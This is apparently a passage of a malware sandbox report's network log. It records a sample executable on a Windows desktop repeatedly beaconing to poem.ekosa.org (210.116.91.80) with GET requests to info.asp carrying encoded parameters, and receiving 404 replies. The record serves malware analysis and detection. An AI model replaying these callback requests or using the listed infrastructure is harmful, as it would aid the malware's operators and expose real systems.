6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.4	49830	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:33.239017010 CET	538	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:33.502808094 CET	541	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:33 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.4	49831	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:33.884963036 CET	542	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:34.146928072 CET	542	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:33 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.4	49832	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:34.413079977 CET	543	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:34.673830032 CET	543	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:34 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.4	49833	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:34.952838898 CET	544	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:35.225420952 CET	545	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:34 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.4	49834	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:35.605334044 CET	545	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:35.869436979 CET	546	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:35 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.4	49835	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:36.134080887 CET	547	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:36.395581007 CET	547	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:35 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.4	49836	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:36.665828943 CET	548	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:36.928248882 CET	548	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:36 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.4	49837	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:37.310312033 CET	549	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:37.573709965 CET	550	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:36 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49766	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:00.678997040 CET	124	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:00.949650049 CET	130	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:00 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.4	49838	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:37.850020885 CET	550	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:38.122589111 CET	551	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:37 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.4	49839	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:38.393255949 CET	551	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
